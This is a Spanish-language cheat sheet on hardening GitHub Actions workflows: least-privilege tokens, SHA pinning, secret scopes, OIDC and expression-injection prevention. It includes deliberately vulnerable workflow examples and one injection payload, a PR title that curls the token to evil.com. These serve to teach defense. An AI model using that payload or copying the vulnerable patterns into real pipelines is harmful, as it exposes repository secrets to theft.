Cheat Sheet de Seguridad de GitHub Actions: Permisos, Pinning, Secretos y OIDC

1. Permisos — Principio de Mínimo Privilegio

El cambio de mayor impacto que puedes hacer en cualquier workflow de GitHub Actions es restringir los permisos. Por defecto, GITHUB_TOKEN tiene acceso de lectura y escritura a la mayoría de los scopes. Anula eso inmediatamente.

Permisos de Solo Lectura por Defecto (Nivel Superior)

Coloca esto en la parte superior de cada archivo de workflow para que solo lectura sea el valor por defecto para todos los jobs:

# .github/workflows/ci.yml
name: CI
on: [push, pull_request]

permissions: read-all

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

Permisos Vacíos (Acceso Cero)

Para jobs que nunca interactúan con las APIs de GitHub ni con el repositorio, elimina todos los permisos por completo:

jobs:
  lint:
    runs-on: ubuntu-latest
    permissions: {}
    steps:
      - uses: actions/checkout@v4
      - run: npm run lint

Por qué funciona: actions/checkout usa el token para repos privados pero recurre a un clone anónimo para los públicos. Si tu repo es público, permissions: {} es seguro para el checkout.

Recetas de Permisos por Job

Otorga solo lo que cada job necesita:

# Solo checkout (repo privado)
jobs:
  test:
    permissions:
      contents: read
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

# Desplegar en GitHub Pages
jobs:
  deploy-pages:
    permissions:
      pages: write
      id-token: write
    runs-on: ubuntu-latest

# Push a GitHub Container Registry (GHCR)
jobs:
  push-image:
    permissions:
      contents: read
      packages: write
    runs-on: ubuntu-latest

# Crear un GitHub Release
jobs:
  release:
    permissions:
      contents: write
    runs-on: ubuntu-latest

# Comentar en un Pull Request
jobs:
  comment:
    permissions:
      pull-requests: write
    runs-on: ubuntu-latest

Regla general: Comienza con permissions: {} y añade scopes uno a la vez hasta que el job pase. Nunca dejes los permisos de lectura-escritura por defecto.

2. Pinning de Actions — Deja de Usar Tags

Los tags como @v4 son mutables. Un atacante que comprometa una action popular puede mover el tag a un commit malicioso. Fija cada action de terceros a un SHA completo.

Pinned vs. Sin Pinning

# PELIGROSO — el tag puede moverse a cualquier commit
- uses: actions/checkout@v4

# SEGURO — referencia de commit inmutable
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

El comentario al final preserva la legibilidad mientras el SHA bloquea el código exacto que auditas.

Encontrar el SHA de Cualquier Action

# Obtener el SHA completo para un tag específico
git ls-remote --tags https://github.com/actions/checkout.git v4.1.1

# O usar la API de GitHub
gh api repos/actions/checkout/git/ref/tags/v4.1.1 --jq '.object.sha'

Automatizar Actualizaciones con Dependabot

Fijar por SHA no significa dejar de actualizar. Deja que Dependabot proponga actualizaciones de versión automáticamente:

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: github-actions
    directory: "/"
    schedule:
      interval: weekly
    commit-message:
      prefix: "ci"
    reviewers:
      - "your-org/security-team"
    labels:
      - "dependencies"
      - "ci"

Dependabot entiende los SHA pins. Actualizará el SHA y el comentario del tag en un solo PR.

3. Gestión de Secretos

GitHub ofrece tres ámbitos de secretos. Elige el correcto para minimizar el radio de impacto.

Comparación de Ámbitos de Secretos

Ámbito Visibilidad Ideal Para
Repositorio Todos los workflows en un repo API keys y tokens específicos del repo
Environment Solo jobs que apuntan a ese environment Credenciales de producción, deploy keys
Organización Repos seleccionados en toda la org Cuentas de servicio compartidas, credenciales de registro

Reglas de Protección de Environments

Los environments te permiten proteger despliegues detrás de aprobaciones, temporizadores de espera y restricciones de rama:

jobs:
  deploy-production:
    runs-on: ubuntu-latest
    environment:
      name: production
      url: https://app.example.com
    permissions:
      id-token: write
      contents: read
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
      - name: Deploy
        run: ./deploy.sh
        env:
          DEPLOY_KEY: ${{ secrets.PRODUCTION_DEPLOY_KEY }}

Luego configura el environment production en Settings → Environments con:

  • Revisores requeridos (al menos 1)
  • Temporizador de espera (ej., 5 minutos)
  • Restricción de rama de despliegue: solo main

La Zona de Peligro de pull_request vs pull_request_target

Este es uno de los malentendidos más peligrosos en GitHub Actions:

Trigger Código que se ejecuta ¿Secretos disponibles? Riesgo
pull_request Commit de merge del PR No (forks) Bajo
pull_request_target Rama base Crítico si haces checkout del código del PR

Nunca hagas esto:

# VULNERABILIDAD CRÍTICA — secretos expuestos al código del PR del fork
on: pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # Hace checkout de código NO CONFIABLE del fork
      - run: ./build.sh  # Ejecuta código controlado por el atacante CON secretos

Si necesitas pull_request_target, nunca hagas checkout del head del PR. Solo úsalo para etiquetar o comentar sobre el código de la rama base.

4. OIDC / Workload Identity Federation

Deja de almacenar credenciales de nube de larga duración como secretos. Usa OpenID Connect para obtener tokens de corta duración directamente de tu proveedor de nube.

Bloque de permisos requerido para todos los workflows OIDC:

permissions:
  id-token: write   # Requerido para solicitar el JWT de OIDC
  contents: read    # Requerido para actions/checkout

AWS — Configurar OIDC

- name: Configure AWS Credentials
  uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
  with:
    role-to-assume: arn:aws:iam::123456789012:role/GitHubActions
    aws-region: us-east-1

Plantilla de Trust Policy de AWS:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
        },
        "StringLike": {
          "token.actions.githubusercontent.com:sub": "repo:your-org/your-repo:ref:refs/heads/main"
        }
      }
    }
  ]
}

GCP — Workload Identity Federation

- name: Authenticate to Google Cloud
  uses: google-github-actions/auth@55bd8e7c523b4b80c1b4b5e492ffb613a15f2591 # v2.1.3
  with:
    workload_identity_provider: projects/123456/locations/global/workloadIdentityPools/github/providers/github
    service_account: github-actions@my-project.iam.gserviceaccount.com

Azure — Credenciales Federadas

- name: Azure Login
  uses: azure/login@6c251865b4e6290e7b78be643ea2d005bc51f69a # v2.1.1
  with:
    client-id: ${{ secrets.AZURE_CLIENT_ID }}
    tenant-id: ${{ secrets.AZURE_TENANT_ID }}
    subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}

Beneficio clave: No se almacenan credenciales estáticas en ningún lugar. Los tokens expiran en minutos. La trust policy restringe qué repos, ramas y environments pueden asumir el rol.

5. Triggers de Workflows — Seguros vs. Peligrosos

No todos los triggers son iguales. Algunos ejecutan código de fuentes no confiables u otorgan permisos elevados.

Tabla de Seguridad de Triggers

Trigger Nivel de Riesgo Notas
push Bajo Solo ejecuta código ya fusionado
pull_request Bajo Sin secretos para forks
schedule Bajo Se ejecuta en la rama por defecto
workflow_dispatch Medio Trigger manual — valida los inputs
pull_request_target Alto Secretos disponibles — ver Sección 3
issue_comment Alto Cualquier comentarista puede activarlo — protege con verificaciones de permisos
workflow_run Alto Hereda contexto elevado del workflow que lo activó

Filtrado por Rama y Ruta

Reduce ejecuciones innecesarias y limita la exposición:

on:
  push:
    branches:
      - main
      - 'releases/**'
    paths:
      - 'src/**'
      - 'package.json'
    paths-ignore:
      - 'docs/**'
      - '*.md'

Control de Concurrencia

Evita que múltiples despliegues compitan entre sí:

concurrency:
  group: deploy-${{ github.ref }}
  cancel-in-progress: false  # No canceles despliegues en curso

# Para builds de PR donde cancelar ejecuciones anteriores es seguro:
concurrency:
  group: ci-${{ github.event.pull_request.number || github.sha }}
  cancel-in-progress: true

6. Seguridad de Actions de Terceros

Cada línea uses: en tu workflow es una dependencia de la cadena de suministro. Trátala como cualquier otra dependencia.

Lista de Verificación de Auditoría

Antes de adoptar cualquier action de terceros, verifica:

  • Editor: ¿Es de un creador verificado o una organización conocida (ej., actions/*, aws-actions/*)?
  • Código fuente: ¿Has leído el action.yml y el script de entrada?
  • Permisos: ¿Solicita más de lo que necesita?
  • Estrellas / uso: Las actions con poco uso son de mayor riesgo.
  • Mantenimiento: ¿Cuándo fue el último commit? ¿Se atienden los issues?
  • Dependencias: ¿Trae un árbol masivo de node_modules?

Haz Fork de Actions Críticas

Para actions que se ejecutan en pipelines sensibles, haz fork a tu organización:

# En lugar de:
- uses: some-random-org/deploy-action@v2

# Haz fork y fija:
- uses: your-org/deploy-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2

Configura un workflow programado para sincronizar tu fork y revisar las diferencias antes de fusionar cambios upstream.

CODEOWNERS para Archivos de Workflow

Requiere revisión del equipo de seguridad para cualquier cambio en workflows:

# .github/CODEOWNERS
.github/workflows/   @your-org/security-team
.github/actions/      @your-org/security-team

Combina con reglas de protección de rama que requieran aprobación de CODEOWNERS para hacerlo aplicable.

7. Prevención de Inyección de Expresiones

Las expresiones de GitHub Actions (${{ }}) se expanden como plantilla antes de que el shell las vea. Si un atacante controla el valor, controla tu shell.

El Patrón Peligroso

# VULNERABLE — el atacante controla el título del PR
- name: Echo PR title
  run: echo "PR: ${{ github.event.pull_request.title }}"

Un título de PR malicioso como Fix"; curl http://evil.com/steal?token=$GITHUB_TOKEN # rompe el echo y exfiltra tu token.

Contextos peligrosos que aceptan entrada del usuario:

  • github.event.pull_request.title
  • github.event.pull_request.body
  • github.event.issue.title
  • github.event.issue.body
  • github.event.comment.body
  • github.event.review.body
  • github.event.head_commit.message
  • github.head_ref (nombre de rama desde forks)

La Alternativa Segura — Variables de Entorno

# SEGURO — el valor se pasa como variable de entorno, no se inyecta en el script
- name: Echo PR title
  run: echo "PR: $PR_TITLE"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}

Cuando el valor fluye a través de una variable de entorno, el shell lo trata como datos, no como código. Esta es la solución para toda inyección de expresiones.

Uso Seguro en Condicionales

Las expresiones en condiciones if: son seguras porque son evaluadas por el runtime de Actions, no por el shell:

# SEGURO — evaluado por el runtime de Actions, no el shell
- name: Check label
  if: contains(github.event.pull_request.labels.*.name, 'deploy')
  run: echo "Deploy label found"

8. Errores Comunes — Top 5 Con Soluciones

Error 1: Permisos de Token por Defecto (Excesivamente Permisivos)

# MAL — lectura-escritura implícita en todo
on: push
jobs:
  build:
    runs-on: ubuntu-latest
    steps: ...

# CORREGIDO — solo lectura explícita por defecto
on: push
permissions: read-all
jobs:
  build:
    runs-on: ubuntu-latest
    steps: ...

Error 2: Usar Tags Mutables para Actions

# MAL
- uses: actions/setup-node@v4

# CORREGIDO
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2

Error 3: Credenciales de Nube de Larga Duración como Secretos

# MAL — claves AWS estáticas que nunca expiran
env:
  AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
  AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

# CORREGIDO — federación OIDC, sin credenciales almacenadas
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
  with:
    role-to-assume: arn:aws:iam::123456789012:role/GitHubActions
    aws-region: us-east-1

Error 4: Hacer Checkout del Código del PR en pull_request_target

# MAL — ejecuta código no confiable con secretos
on: pull_request_target
steps:
  - uses: actions/checkout@v4
    with:
      ref: ${{ github.event.pull_request.head.sha }}
  - run: make build

# CORREGIDO — usa el trigger pull_request (sin secretos para forks)
on: pull_request
steps:
  - uses: actions/checkout@v4
  - run: make build

Error 5: Inyección de Expresiones vía run:

# MAL — interpolación directa de entrada del usuario
- run: echo "Issue: ${{ github.event.issue.title }}"

# CORREGIDO — pasar a través de variable de entorno
- run: echo "Issue: $ISSUE_TITLE"
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}

Tarjeta de Referencia Rápida

Práctica Resumen
Permisos por defecto permissions: read-all en la parte superior del workflow
Fijar actions Usa SHA completo de 40 caracteres + comentario del tag
Auto-actualizar pins Dependabot con ecosistema github-actions
Autenticación en la nube Federación OIDC, nunca claves estáticas
Proteger secretos Scopes de environment + reglas de protección
Prevenir inyección Siempre usa env: para valores controlados por el usuario
Revisar workflows CODEOWNERS en .github/workflows/
Evitar triggers riesgosos Evita pull_request_target + checkout

Aplicar incluso la mitad de estas prácticas pone tu pipeline de CI/CD por delante de la mayoría de las organizaciones. Comienza con permisos y pinning — toman cinco minutos y eliminan clases enteras de ataques a la cadena de suministro. Luego trabaja en la federación OIDC y la prevención de inyección de expresiones para cerrar las brechas restantes.

Para práctica hands-on, explora nuestros laboratorios de Seguridad CI/CD y las guías de GitHub Actions para ver estos patrones aplicados en escenarios del mundo real.